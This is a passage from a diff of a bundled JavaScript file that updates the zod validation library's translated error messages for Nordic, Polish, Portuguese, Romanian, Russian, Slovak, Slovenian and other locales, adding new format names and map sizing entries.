const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `For stor(t): forventa ${issue2.origin ?? "value"} til \xE5 ha ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `For lite(n): forventa ${issue2.origin} til \xE5 ha ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ugyldig streng: m\xE5 starte med "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Ugyldig streng: m\xE5 slutte med "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Ugyldig streng: m\xE5 innehalde "${_issue.includes}"`; + if (_issue.format === "regex") + return `Ugyldig streng: m\xE5 matche m\xF8nsteret ${_issue.pattern}`; + return `Ugyldig ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ugyldig tal: m\xE5 vere eit multiplum av ${issue2.divisor}`; + case "unrecognized_keys": + return `${issue2.keys.length > 1 ? "Ukjende n\xF8klar" : "Ukjend n\xF8kkel"}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Ugyldig n\xF8kkel i ${issue2.origin}`; + case "invalid_union": + return "Ugyldig input"; + case "invalid_element": + return `Ugyldig verdi i ${issue2.origin}`; + default: + return `Ugyldig input`; + } + }; +}; +function nn_default() { + return { + localeError: error38() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/no.js +var error39 = () => { const Sizable = { string: { unit: "tegn", verb: "\xE5 ha" }, file: { unit: "bytes", verb: "\xE5 ha" }, array: { unit: "elementer", verb: "\xE5 inneholde" }, - set: { unit: "elementer", verb: "\xE5 inneholde" } + set: { unit: "elementer", verb: "\xE5 inneholde" }, + map: { unit: "elementer", verb: "\xE5 inneholde" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -97015,14 +98973,18 @@ var error32 = () => { date: "ISO-dato", time: "ISO-klokkeslett", duration: "ISO-varighet", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spekter", cidrv6: "IPv6-spekter", base64: "base64-enkodet streng", base64url: "base64url-enkodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kredittkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -97090,17 +99052,18 @@ var error32 = () => { }; function no_default() { return { - localeError: error32() + localeError: error39() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ota.js -var error33 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ota.js +var error40 = () => { const Sizable = { string: { unit: "harf", verb: "olmal\u0131d\u0131r" }, file: { unit: "bayt", verb: "olmal\u0131d\u0131r" }, array: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, - set: { unit: "unsur", verb: "olmal\u0131d\u0131r" } + set: { unit: "unsur", verb: "olmal\u0131d\u0131r" }, + map: { unit: "unsur", verb: "olmal\u0131d\u0131r" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -97126,12 +99089,16 @@ var error33 = () => { duration: "ISO m\xFCddeti", ipv4: "IPv4 ni\u015F\xE2n\u0131", ipv6: "IPv6 ni\u015F\xE2n\u0131", + mac: "MAC ni\u015F\xE2n\u0131", cidrv4: "IPv4 menzili", cidrv6: "IPv6 menzili", base64: "base64-\u015Fifreli metin", base64url: "base64url-\u015Fifreli metin", json_string: "JSON metin", e164: "E.164 say\u0131s\u0131", + credit_card: "i'tib\xE2r kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "giren" }; @@ -97200,17 +99167,18 @@ var error33 = () => { }; function ota_default() { return { - localeError: error33() + localeError: error40() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ps.js -var error34 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ps.js +var error41 = () => { const Sizable = { string: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, file: { unit: "\u0628\u0627\u06CC\u067C\u0633", verb: "\u0648\u0644\u0631\u064A" }, array: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, - set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } + set: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" }, + map: { unit: "\u062A\u0648\u06A9\u064A", verb: "\u0648\u0644\u0631\u064A" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -97236,12 +99204,16 @@ var error34 = () => { duration: "\u0645\u0648\u062F\u0647", ipv4: "\u062F IPv4 \u067E\u062A\u0647", ipv6: "\u062F IPv6 \u067E\u062A\u0647", + mac: "\u062F MAC \u067E\u062A\u0647", cidrv4: "\u062F IPv4 \u0633\u0627\u062D\u0647", cidrv6: "\u062F IPv6 \u0633\u0627\u062D\u0647", base64: "base64-encoded \u0645\u062A\u0646", base64url: "base64url-encoded \u0645\u062A\u0646", json_string: "JSON \u0645\u062A\u0646", e164: "\u062F E.164 \u0634\u0645\u06D0\u0631\u0647", + credit_card: "\u062F \u06A9\u0631\u06CC\u0689\u06CC\u067C \u06A9\u0627\u0631\u062A \u0634\u0645\u06CC\u0631\u0647", + currency_code: "\u062F \u0627\u0633\u0639\u0627\u0631\u0648 \u06A9\u0648\u0689", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u064A" }; @@ -97315,17 +99287,18 @@ var error34 = () => { }; function ps_default() { return { - localeError: error34() + localeError: error41() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pl.js -var error35 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pl.js +var error42 = () => { const Sizable = { string: { unit: "znak\xF3w", verb: "mie\u0107" }, file: { unit: "bajt\xF3w", verb: "mie\u0107" }, array: { unit: "element\xF3w", verb: "mie\u0107" }, - set: { unit: "element\xF3w", verb: "mie\u0107" } + set: { unit: "element\xF3w", verb: "mie\u0107" }, + map: { unit: "element\xF3w", verb: "mie\u0107" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -97351,12 +99324,16 @@ var error35 = () => { duration: "czas trwania ISO", ipv4: "adres IPv4", ipv6: "adres IPv6", + mac: "adres MAC", cidrv4: "zakres IPv4", cidrv6: "zakres IPv6", base64: "ci\u0105g znak\xF3w zakodowany w formacie base64", base64url: "ci\u0105g znak\xF3w zakodowany w formacie base64url", json_string: "ci\u0105g znak\xF3w w formacie JSON", e164: "liczba E.164", + credit_card: "numer karty kredytowej", + currency_code: "kod waluty", + iban: "IBAN", jwt: "JWT", template_literal: "wej\u015Bcie" }; @@ -97425,121 +99402,301 @@ var error35 = () => { }; function pl_default() { return { - localeError: error35() + localeError: error42() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/pt.js -var error36 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt.js +var error43 = () => { const Sizable = { - string: { unit: "caracteres", verb: "ter" }, - file: { unit: "bytes", verb: "ter" }, - array: { unit: "itens", verb: "ter" }, - set: { unit: "itens", verb: "ter" } + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } }; function getSizing(origin) { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "padr\xE3o", - email: "endere\xE7o de e-mail", - url: "URL", - emoji: "emoji", - uuid: "UUID", - uuidv4: "UUIDv4", - uuidv6: "UUIDv6", - nanoid: "nanoid", - guid: "GUID", - cuid: "cuid", - cuid2: "cuid2", - ulid: "ULID", - xid: "XID", - ksuid: "KSUID", - datetime: "data e hora ISO", - date: "data ISO", - time: "hora ISO", - duration: "dura\xE7\xE3o ISO", - ipv4: "endere\xE7o IPv4", - ipv6: "endere\xE7o IPv6", - cidrv4: "faixa de IPv4", - cidrv6: "faixa de IPv6", - base64: "texto codificado em base64", - base64url: "URL codificada em base64", - json_string: "texto JSON", - e164: "n\xFAmero E.164", - jwt: "JWT", - template_literal: "entrada" + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "o intervalo de endere\xE7os IPv4", + cidrv6: "o intervalo de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } }; const TypeDictionary = { - nan: "NaN", - number: "n\xFAmero", - null: "nulo" + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tuplo", articles: Gender.masculine }, + record: { name: "registo", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "ficheiro", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; - if (/^[A-Z]/.test(issue2.expected)) { - return `Tipo inv\xE1lido: esperado instanceof ${issue2.expected}, recebido ${received}`; - } - return `Tipo inv\xE1lido: esperado ${expected}, recebido ${received}`; + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; } case "invalid_value": if (issue2.values.length === 1) - return `Entrada inv\xE1lida: esperado ${stringifyPrimitive(issue2.values[0])}`; - return `Op\xE7\xE3o inv\xE1lida: esperada uma das ${joinValues(issue2.values, "|")}`; + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; case "too_big": { const adj = issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) - return `Muito grande: esperado que ${issue2.origin ?? "valor"} tivesse ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; - return `Muito grande: esperado que ${issue2.origin ?? "valor"} fosse ${adj}${issue2.maximum.toString()}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Demasiado grande: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; } case "too_small": { const adj = issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { - return `Muito pequeno: esperado que ${issue2.origin} tivesse ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; } - return `Muito pequeno: esperado que ${issue2.origin} fosse ${adj}${issue2.minimum.toString()}`; + return `Demasiado pequeno: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; } case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") + return `Texto inv\xE1lido: deve come\xE7ar por "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Texto inv\xE1lido: deve terminar em "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; + if (_issue.format === "regex") + return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + } + case "not_multiple_of": + return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } + case "invalid_key": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } + return "Entrada inv\xE1lida"; + case "invalid_element": + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; + default: + return `Entrada inv\xE1lida`; + } + }; +}; +function pt_default() { + return { + localeError: error43() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/pt-BR.js +var error44 = () => { + const Sizable = { + string: { unit: "caracteres" }, + file: { unit: "bytes" }, + array: { unit: "elementos" }, + set: { unit: "elementos" }, + map: { unit: "entradas" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "a entrada", + email: "o endere\xE7o de e-mail", + url: "o URL", + emoji: "o emoji", + uuid: "o UUID", + uuidv4: "o UUIDv4", + uuidv6: "o UUIDv6", + nanoid: "o nanoid", + guid: "o GUID", + cuid: "o cuid", + cuid2: "o cuid2", + ulid: "o ULID", + xid: "o XID", + ksuid: "o KSUID", + datetime: "a data e hora ISO", + date: "a data ISO", + time: "a hora ISO", + duration: "a dura\xE7\xE3o ISO", + ipv4: "o endere\xE7o IPv4", + ipv6: "o endere\xE7o IPv6", + mac: "o endere\xE7o MAC", + cidrv4: "a faixa de endere\xE7os IPv4", + cidrv6: "a faixa de endere\xE7os IPv6", + base64: "o texto codificado em base64", + base64url: "o texto codificado em base64url", + json_string: "o texto JSON", + e164: "o n\xFAmero E.164", + credit_card: "o n\xFAmero de cart\xE3o de cr\xE9dito", + currency_code: "o c\xF3digo de moeda", + iban: "o IBAN", + jwt: "o JWT", + template_literal: "a entrada" + }; + const Gender = { + masculine: { definite: "o", indefinite: "um" }, + feminine: { definite: "a", indefinite: "uma" } + }; + const TypeDictionary = { + string: { name: "texto", articles: Gender.masculine }, + number: { name: "n\xFAmero", articles: Gender.masculine }, + int: { name: "n\xFAmero inteiro", articles: Gender.masculine }, + boolean: { name: "valor booleano", articles: Gender.masculine }, + bigint: { name: "n\xFAmero bigint", articles: Gender.masculine }, + symbol: { name: "s\xEDmbolo", articles: Gender.masculine }, + undefined: { name: 'valor "undefined"', articles: Gender.masculine }, + null: { name: 'valor "nulo"', articles: Gender.masculine }, + never: { name: 'valor "never"', articles: Gender.masculine }, + void: { name: 'valor "void"', articles: Gender.masculine }, + date: { name: "data", articles: Gender.feminine }, + array: { name: "vetor", articles: Gender.masculine }, + object: { name: "objeto", articles: Gender.masculine }, + tuple: { name: "tupla", articles: Gender.feminine }, + record: { name: "registro", articles: Gender.masculine }, + map: { name: "mapa", articles: Gender.masculine }, + set: { name: "conjunto", articles: Gender.masculine }, + file: { name: "arquivo", articles: Gender.masculine }, + nonoptional: { name: "valor n\xE3o opcional", articles: Gender.masculine }, + nan: { name: 'valor "NaN"', articles: Gender.masculine }, + // Compatibility: "nan" -> "NaN" for display + function: { name: "fun\xE7\xE3o", articles: Gender.feminine } + }; + function translateOriginWithArticle(type, articleType) { + const translatedValue = TypeDictionary[type] ?? { name: `valor "${type}"`, articles: Gender.masculine }; + return `${translatedValue.articles[articleType]} ${translatedValue.name}`; + } + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = translateOriginWithArticle(issue2.expected, "indefinite"); + const receivedType = parsedType(issue2.input); + const received = translateOriginWithArticle(receivedType, "indefinite"); + return `Entrada inv\xE1lida: esperava ${expected}, recebeu ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Entrada inv\xE1lida: esperava ${stringifyPrimitive(issue2.values[0])}`; + return `Op\xE7\xE3o inv\xE1lida: esperava uma das seguintes op\xE7\xF5es: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "elementos"}`; + return `Grande demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} tivesse ${adj} ${issue2.minimum.toString()} ${sizing.unit ?? "elementos"}`; + } + return `Pequeno demais: esperava que ${translateOriginWithArticle(issue2.origin, "definite")} fosse ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { return `Texto inv\xE1lido: deve come\xE7ar com "${_issue.prefix}"`; + } if (_issue.format === "ends_with") return `Texto inv\xE1lido: deve terminar com "${_issue.suffix}"`; if (_issue.format === "includes") return `Texto inv\xE1lido: deve incluir "${_issue.includes}"`; if (_issue.format === "regex") return `Texto inv\xE1lido: deve corresponder ao padr\xE3o ${_issue.pattern}`; - return `${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; + return `Formato d${FormatDictionary[_issue.format] ?? issue2.format} inv\xE1lido`; } case "not_multiple_of": return `N\xFAmero inv\xE1lido: deve ser m\xFAltiplo de ${issue2.divisor}`; - case "unrecognized_keys": - return `Chave${issue2.keys.length > 1 ? "s" : ""} desconhecida${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "unrecognized_keys": { + const plural2 = issue2.keys.length > 1 ? "s" : ""; + return `Chave${plural2} inv\xE1lida${plural2}: ${joinValues(issue2.keys, ", ")}`; + } case "invalid_key": - return `Chave inv\xE1lida em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `Valor de discrimina\xE7\xE3o inv\xE1lido. Esperava ${opts}`; + } return "Entrada inv\xE1lida"; case "invalid_element": - return `Valor inv\xE1lido em ${issue2.origin}`; + return `Entrada inv\xE1lida n${translateOriginWithArticle(issue2.origin, "definite")}`; default: - return `Campo inv\xE1lido`; + return `Entrada inv\xE1lida`; } }; }; -function pt_default() { +function pt_BR_default() { return { - localeError: error36() + localeError: error44() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ro.js -var error37 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ro.js +var error45 = () => { const Sizable = { string: { unit: "caractere", verb: "s\u0103 aib\u0103" }, file: { unit: "octe\u021Bi", verb: "s\u0103 aib\u0103" }, @@ -97578,6 +99735,9 @@ var error37 = () => { base64url: "\u0219ir codat base64url", json_string: "\u0219ir JSON", e164: "num\u0103r E.164", + credit_card: "num\u0103r de card de credit", + currency_code: "cod valutar", + iban: "IBAN", jwt: "JWT", template_literal: "intrare" }; @@ -97654,11 +99814,11 @@ var error37 = () => { }; function ro_default() { return { - localeError: error37() + localeError: error45() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ru.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ru.js function getRussianPlural(count, one, few, many) { const absCount = Math.abs(count); const lastDigit = absCount % 10; @@ -97674,7 +99834,7 @@ function getRussianPlural(count, one, few, many) { } return many; } -var error38 = () => { +var error46 = () => { const Sizable = { string: { unit: { @@ -97707,6 +99867,14 @@ var error38 = () => { many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" }, verb: "\u0438\u043C\u0435\u0442\u044C" + }, + map: { + unit: { + one: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442", + few: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u0430", + many: "\u044D\u043B\u0435\u043C\u0435\u043D\u0442\u043E\u0432" + }, + verb: "\u0438\u043C\u0435\u0442\u044C" } }; function getSizing(origin) { @@ -97733,12 +99901,16 @@ var error38 = () => { duration: "ISO \u0434\u043B\u0438\u0442\u0435\u043B\u044C\u043D\u043E\u0441\u0442\u044C", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441", + mac: "MAC \u0430\u0434\u0440\u0435\u0441", cidrv4: "IPv4 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", cidrv6: "IPv6 \u0434\u0438\u0430\u043F\u0430\u0437\u043E\u043D", base64: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64", base64url: "\u0441\u0442\u0440\u043E\u043A\u0430 \u0432 \u0444\u043E\u0440\u043C\u0430\u0442\u0435 base64url", json_string: "JSON \u0441\u0442\u0440\u043E\u043A\u0430", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0439 \u043A\u0430\u0440\u0442\u044B", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u044B", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0432\u043E\u0434" }; @@ -97811,17 +99983,135 @@ var error38 = () => { }; function ru_default() { return { - localeError: error38() + localeError: error46() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sl.js -var error39 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sk.js +var error47 = () => { + const Sizable = { + string: { unit: "znakov", verb: "ma\u0165" }, + file: { unit: "bajtov", verb: "ma\u0165" }, + array: { unit: "prvkov", verb: "ma\u0165" }, + set: { unit: "prvkov", verb: "ma\u0165" }, + map: { unit: "polo\u017Eiek", verb: "ma\u0165" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regul\xE1rny v\xFDraz", + email: "e-mailov\xE1 adresa", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "d\xE1tum a \u010Das vo form\xE1te ISO", + date: "d\xE1tum vo form\xE1te ISO", + time: "\u010Das vo form\xE1te ISO", + duration: "doba trvania ISO", + ipv4: "IPv4 adresa", + ipv6: "IPv6 adresa", + mac: "MAC adresa", + cidrv4: "rozsah IPv4", + cidrv6: "rozsah IPv6", + base64: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64", + base64url: "re\u0165azec zak\xF3dovan\xFD vo form\xE1te base64url", + json_string: "re\u0165azec vo form\xE1te JSON", + e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditnej karty", + currency_code: "k\xF3d meny", + iban: "IBAN", + jwt: "JWT", + template_literal: "vstup" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u010D\xEDslo", + string: "re\u0165azec", + function: "funkcia", + array: "pole" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 instanceof ${issue2.expected}, obdr\u017Ean\xE9 ${received}`; + } + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${expected}, obdr\u017Ean\xE9 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE9 ${stringifyPrimitive(issue2.values[0])}`; + return `Neplatn\xFD vstup: o\u010Dak\xE1van\xE1 jedna z hodn\xF4t ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neplatn\xFD re\u0165azec: mus\xED za\u010D\xEDna\u0165 na "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neplatn\xFD re\u0165azec: mus\xED kon\u010Di\u0165 na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neplatn\xFD re\u0165azec: mus\xED obsahova\u0165 "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neplatn\xFD re\u0165azec: mus\xED zodpoveda\u0165 vzoru ${_issue.pattern}`; + return `Neplatn\xFD form\xE1t ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neplatn\xE9 \u010D\xEDslo: mus\xED by\u0165 n\xE1sobkom ${issue2.divisor}`; + case "unrecognized_keys": + return `Nezn\xE1me kl\xFA\u010De: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neplatn\xFD kl\xFA\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neplatn\xFD vstup"; + case "invalid_element": + return `Neplatn\xE1 hodnota v ${issue2.origin}`; + default: + return `Neplatn\xFD vstup`; + } + }; +}; +function sk_default() { + return { + localeError: error47() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sl.js +var error48 = () => { const Sizable = { string: { unit: "znakov", verb: "imeti" }, file: { unit: "bajtov", verb: "imeti" }, array: { unit: "elementov", verb: "imeti" }, - set: { unit: "elementov", verb: "imeti" } + set: { unit: "elementov", verb: "imeti" }, + map: { unit: "elementov", verb: "imeti" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -97847,12 +100137,16 @@ var error39 = () => { duration: "ISO trajanje", ipv4: "IPv4 naslov", ipv6: "IPv6 naslov", + mac: "MAC naslov", cidrv4: "obseg IPv4", cidrv6: "obseg IPv6", base64: "base64 kodiran niz", base64url: "base64url kodiran niz", json_string: "JSON niz", e164: "E.164 \u0161tevilka", + credit_card: "\u0161tevilka kreditne kartice", + currency_code: "koda valute", + iban: "IBAN", jwt: "JWT", template_literal: "vnos" }; @@ -97921,17 +100215,18 @@ var error39 = () => { }; function sl_default() { return { - localeError: error39() + localeError: error48() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sv.js -var error40 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sv.js +var error49 = () => { const Sizable = { string: { unit: "tecken", verb: "att ha" }, file: { unit: "bytes", verb: "att ha" }, array: { unit: "objekt", verb: "att inneh\xE5lla" }, - set: { unit: 